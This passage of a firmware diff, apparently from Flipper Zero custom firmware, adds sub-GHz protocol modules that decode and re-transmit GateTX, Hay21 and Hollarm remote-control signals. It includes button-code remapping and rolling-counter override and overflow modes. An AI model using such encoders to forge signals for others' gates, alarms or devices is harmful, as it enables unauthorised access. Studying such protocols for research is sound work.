+    SubGhzProtocolDecoderGateTx* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_gate_tx_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_gate_tx_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    subghz_protocol_gate_tx_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%06lX\r\n"
+        "Sn:%05lX  Btn:%X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFF),
+        instance->generic.serial,
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/gate_tx.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/gate_tx.h
new file mode 100644
index 000000000..a6abede0d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/gate_tx.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_GATE_TX_NAME "GateTX"
+
+typedef struct SubGhzProtocolDecoderGateTx SubGhzProtocolDecoderGateTx;
+typedef struct SubGhzProtocolEncoderGateTx SubGhzProtocolEncoderGateTx;
+
+extern const SubGhzProtocolDecoder subghz_protocol_gate_tx_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_gate_tx_encoder;
+extern const SubGhzProtocol subghz_protocol_gate_tx;
+
+/**
+ * Allocate SubGhzProtocolEncoderGateTx.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderGateTx* pointer to a SubGhzProtocolEncoderGateTx instance
+ */
+void* subghz_protocol_encoder_gate_tx_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderGateTx.
+ * @param context Pointer to a SubGhzProtocolEncoderGateTx instance
+ */
+void subghz_protocol_encoder_gate_tx_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderGateTx instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderGateTx instance
+ */
+void subghz_protocol_encoder_gate_tx_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderGateTx instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_gate_tx_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderGateTx.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderGateTx* pointer to a SubGhzProtocolDecoderGateTx instance
+ */
+void* subghz_protocol_decoder_gate_tx_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderGateTx.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ */
+void subghz_protocol_decoder_gate_tx_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderGateTx.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ */
+void subghz_protocol_decoder_gate_tx_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_gate_tx_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_gate_tx_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderGateTx.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_gate_tx_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderGateTx.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_gate_tx_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/hay21.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/hay21.c
new file mode 100644
index 000000000..19995932c
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/hay21.c
@@ -0,0 +1,494 @@
+#include "hay21.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolHay21"
+
+static const SubGhzBlockConst subghz_protocol_hay21_const = {
+    .te_short = 300,
+    .te_long = 700,
+    .te_delta = 150,
+    .min_count_bit_for_found = 21,
+};
+
+struct SubGhzProtocolDecoderHay21 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderHay21 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Hay21DecoderStepReset = 0,
+    Hay21DecoderStepSaveDuration,
+    Hay21DecoderStepCheckDuration,
+} Hay21DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_hay21_decoder = {
+    .alloc = subghz_protocol_decoder_hay21_alloc,
+    .free = subghz_protocol_decoder_hay21_free,
+
+    .feed = subghz_protocol_decoder_hay21_feed,
+    .reset = subghz_protocol_decoder_hay21_reset,
+
+    .get_hash_data = subghz_protocol_decoder_hay21_get_hash_data,
+    .serialize = subghz_protocol_decoder_hay21_serialize,
+    .deserialize = subghz_protocol_decoder_hay21_deserialize,
+    .get_string = subghz_protocol_decoder_hay21_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_hay21_encoder = {
+    .alloc = subghz_protocol_encoder_hay21_alloc,
+    .free = subghz_protocol_encoder_hay21_free,
+
+    .deserialize = subghz_protocol_encoder_hay21_deserialize,
+    .stop = subghz_protocol_encoder_hay21_stop,
+    .yield = subghz_protocol_encoder_hay21_yield,
+};
+
+const SubGhzProtocol subghz_protocol_hay21 = {
+    .name = SUBGHZ_PROTOCOL_HAY21_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_hay21_decoder,
+    .encoder = &subghz_protocol_hay21_encoder,
+};
+
+void* subghz_protocol_encoder_hay21_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHay21* instance = malloc(sizeof(SubGhzProtocolEncoderHay21));
+
+    instance->base.protocol = &subghz_protocol_hay21;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 64;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_hay21_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHay21* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+// Get custom button code
+static uint8_t subghz_protocol_hay21_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x5A:
+            btn = 0xC3;
+            break;
+        case 0xC3:
+            btn = 0x5A;
+            break;
+        case 0x88:
+            btn = 0x5A;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x5A:
+            btn = 0x88;
+            break;
+        case 0xC3:
+            btn = 0x88;
+            break;
+        case 0x88:
+            btn = 0xC3;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderHay21 instance
+ */
+static void subghz_protocol_encoder_hay21_get_upload(SubGhzProtocolEncoderHay21* instance) {
+    furi_assert(instance);
+
+    // Generate new key using custom or default button
+    instance->generic.btn = subghz_protocol_hay21_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    // Counter increment
+    // Check for OFEX (overflow experimental) mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+    } else {
+        // OFEX mode
+        if((instance->generic.cnt + 0x1) > 0xF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xE) {
+            instance->generic.cnt = 0xE;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+
+    // Reconstruction of the data
+    instance->generic.data =
+        ((uint64_t)instance->generic.btn << 13 | (uint64_t)instance->generic.serial << 5 |
+         instance->generic.cnt << 1) |
+        0b1;
+
+    size_t index = 0;
+
+    // Send key and GAP between parcels
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_hay21_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_long * 6);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_hay21_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_long * 6);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data and parsing serial number
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_hay21_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->btn = (instance->data >> 13) & 0xFF;
+    instance->serial = (instance->data >> 5) & 0xFF;
+    instance->cnt = (instance->data >> 1) & 0xF;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(2);
+
+    // Hay21 Decoder
+    // 09.2024 - @xMasterX (MMX)
+
+    // Key samples (inverted)
+    //              button   serial     CNT (goes lower since 0/1 are inverted)
+    //14A84A = 000 10100101 01000010 0101 0 (cnt 5)
+    //14A848 = 000 10100101 01000010 0100 0 (cnt 4)
+    //14A846 = 000 10100101 01000010 0011 0 (cnt 3)
+    //14A844 = 000 10100101 01000010 0010 0 (cnt 2)
+    //14A842 = 000 10100101 01000010 0001 0 (cnt 1)
+    //14A840 = 000 10100101 01000010 0000 0 (cnt 0)
+    //14A85E = 000 10100101 01000010 1111 0 (cnt F)
+    //14A85C = 000 10100101 01000010 1110 0 (cnt E)
+    //14A85A = 000 10100101 01000010 1101 0 (cnt D)
+    //14A858 = 000 10100101 01000010 1100 0 (cnt C)
+    //14A856 = 000 10100101 01000010 1011 0 (cnt B)
+    //          0xA5 (Labeled as On/Off on the remote board)
+    //          0x3C (Labeled as Mode on the remote board)
+    //          0x42 (Serial)
+    //                BTN   Serial   CNT
+    //078854 = 000 00111100 01000010 1010 0 (cnt A)
+    //078852 = 000 00111100 01000010 1001 0 (cnt 9)
+    //078850 = 000 00111100 01000010 1000 0 (cnt 8)
+    //07884E = 000 00111100 01000010 0111 0 (cnt 7)
+    // Inverted back
+    //1877B9 = 000 11000011 10111101 1100 1
+    //1877BB = 000 11000011 10111101 1101 1
+    //1877BD = 000 11000011 10111101 1110 1
+    //0B57BF = 000 01011010 10111101 1111 1
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hay21_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHay21* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_hay21_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_hay21_remote_controller(&instance->generic);
+        subghz_protocol_encoder_hay21_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_hay21_stop(void* context) {
+    SubGhzProtocolEncoderHay21* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_hay21_yield(void* context) {
+    SubGhzProtocolEncoderHay21* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_hay21_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHay21* instance = malloc(sizeof(SubGhzProtocolDecoderHay21));
+    instance->base.protocol = &subghz_protocol_hay21;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_hay21_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_hay21_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    instance->decoder.parser_step = Hay21DecoderStepReset;
+}
+
+void subghz_protocol_decoder_hay21_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case Hay21DecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_hay21_const.te_long * 6) <
+                        subghz_protocol_hay21_const.te_delta * 3)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = Hay21DecoderStepSaveDuration;
+        }
+        break;
+    case Hay21DecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = Hay21DecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = Hay21DecoderStepReset;
+        }
+        break;
+    case Hay21DecoderStepCheckDuration:
+        if(!level) {
+            // Bit 1 is long + short timing
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_long) <
+                subghz_protocol_hay21_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_hay21_const.te_short) <
+                subghz_protocol_hay21_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = Hay21DecoderStepSaveDuration;
+                // Bit 0 is short + long timing
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_short) <
+                 subghz_protocol_hay21_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_hay21_const.te_long) <
+                 subghz_protocol_hay21_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = Hay21DecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_hay21_const.te_long * 6) <
+                subghz_protocol_hay21_const.te_delta * 2) {
+                //Found next GAP and add bit 0 or 1
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_long) <
+                    subghz_protocol_hay21_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_short) <
+                    subghz_protocol_hay21_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                // If got 21 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_hay21_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = Hay21DecoderStepReset;
+            } else {
+                instance->decoder.parser_step = Hay21DecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = Hay21DecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Get button name.
+ * @param btn Button number, 4 bit
+ */
+static const char* subghz_protocol_hay21_get_button_name(uint8_t btn) {
+    const char* btn_name;
+    switch(btn) {
+    case 0x5A:
+        btn_name = "On/Off";
+        break;
+    case 0xC3:
+        btn_name = "Mode";
+        break;
+    case 0x88:
+        btn_name = "Hold";
+        break;
+    default:
+        btn_name = "Unknown";
+        break;
+    }
+    return btn_name;
+}
+
+uint8_t subghz_protocol_decoder_hay21_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_hay21_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hay21_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_hay21_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_hay21_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+
+    // Parse serial, button, counter
+    subghz_protocol_hay21_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 8;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s - %dbit\r\n"
+        "Key:0x%06lX\r\n"
+        "Serial:0x%02X\r\n"
+        "Btn:0x%01X - %s\r\n"
+        "Cnt:%01X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        (uint8_t)(instance->generic.serial & 0xFF),
+        instance->generic.btn,
+        subghz_protocol_hay21_get_button_name(instance->generic.btn),
+        (uint8_t)(instance->generic.cnt & 0xF));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/hay21.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/hay21.h
new file mode 100644
index 000000000..4d9d33437
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/hay21.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_HAY21_NAME "Hay21"
+
+typedef struct SubGhzProtocolDecoderHay21 SubGhzProtocolDecoderHay21;
+typedef struct SubGhzProtocolEncoderHay21 SubGhzProtocolEncoderHay21;
+
+extern const SubGhzProtocolDecoder subghz_protocol_hay21_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_hay21_encoder;
+extern const SubGhzProtocol subghz_protocol_hay21;
+
+/**
+ * Allocate SubGhzProtocolEncoderHay21.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderHay21* pointer to a SubGhzProtocolEncoderHay21 instance
+ */
+void* subghz_protocol_encoder_hay21_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderHay21.
+ * @param context Pointer to a SubGhzProtocolEncoderHay21 instance
+ */
+void subghz_protocol_encoder_hay21_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderHay21 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hay21_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderHay21 instance
+ */
+void subghz_protocol_encoder_hay21_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderHay21 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_hay21_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderHay21.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderHay21* pointer to a SubGhzProtocolDecoderHay21 instance
+ */
+void* subghz_protocol_decoder_hay21_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderHay21.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ */
+void subghz_protocol_decoder_hay21_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderHay21.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ */
+void subghz_protocol_decoder_hay21_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_hay21_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_hay21_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderHay21.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_hay21_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderHay21.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hay21_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_hay21_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/hollarm.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/hollarm.c
new file mode 100644
index 000000000..fade91278
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/hollarm.c
@@ -0,0 +1,495 @@
+#include "hollarm.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolHollarm"
+
+static const SubGhzBlockConst subghz_protocol_hollarm_const = {
+    .te_short = 200,
+    .te_long = 1000,
+    .te_delta = 200,
+    .min_count_bit_for_found = 42,
+};
+
+struct SubGhzProtocolDecoderHollarm {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderHollarm {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    HollarmDecoderStepReset = 0,
+    HollarmDecoderStepSaveDuration,
+    HollarmDecoderStepCheckDuration,
+} HollarmDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_hollarm_decoder = {
+    .alloc = subghz_protocol_decoder_hollarm_alloc,
+    .free = subghz_protocol_decoder_hollarm_free,
+
+    .feed = subghz_protocol_decoder_hollarm_feed,
+    .reset = subghz_protocol_decoder_hollarm_reset,
+
+    .get_hash_data = subghz_protocol_decoder_hollarm_get_hash_data,
+    .serialize = subghz_protocol_decoder_hollarm_serialize,
+    .deserialize = subghz_protocol_decoder_hollarm_deserialize,
+    .get_string = subghz_protocol_decoder_hollarm_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_hollarm_encoder = {
+    .alloc = subghz_protocol_encoder_hollarm_alloc,
+    .free = subghz_protocol_encoder_hollarm_free,
+
+    .deserialize = subghz_protocol_encoder_hollarm_deserialize,
+    .stop = subghz_protocol_encoder_hollarm_stop,
+    .yield = subghz_protocol_encoder_hollarm_yield,
+};
+
+const SubGhzProtocol subghz_protocol_hollarm = {
+    .name = SUBGHZ_PROTOCOL_HOLLARM_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_Alarms,
+
+    .decoder = &subghz_protocol_hollarm_decoder,
+    .encoder = &subghz_protocol_hollarm_encoder,
+};
+
+void* subghz_protocol_encoder_hollarm_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHollarm* instance = malloc(sizeof(SubGhzProtocolEncoderHollarm));
+
+    instance->base.protocol = &subghz_protocol_hollarm;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_hollarm_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHollarm* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+// Get custom button code
+static uint8_t subghz_protocol_hollarm_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
